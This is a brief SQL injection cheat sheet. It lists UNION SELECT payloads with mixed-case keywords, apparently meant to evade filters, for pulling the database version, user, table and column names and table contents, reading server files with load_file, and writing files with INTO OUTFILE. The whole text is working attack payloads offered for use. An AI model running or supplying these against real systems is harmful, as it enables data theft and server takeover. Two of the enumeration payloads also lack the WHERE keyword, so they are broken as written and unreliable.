General select syntax:

UniOn selEct [number of columns] [comment]


Examples:
We will assume that there are 2 columns and comlumn 2 can be used to display data on screen.

Seleting database version:
UniOn selEct 1,version() /*

Database:
UniOn selEct 1,database() /*

Database user:
UniOn selEct 1,user() /*

Database tables:
UniOn selEct 1,table_name frOm information_schema.tables table_schema = '[database name]' /*

Table Columns:
UniOn selEct 1,column_name frOm information_schema.columns table_name = '[table name]' /*

Selecting data from table:
UniOn selEct 1,[column name] frOm [table name] /*

Reading files:
UniOn selEct 1,load_file('file location') /*

Writing files:
UniOn selEct null,[file content] inTo outfile '/location/to/write/file/to' /*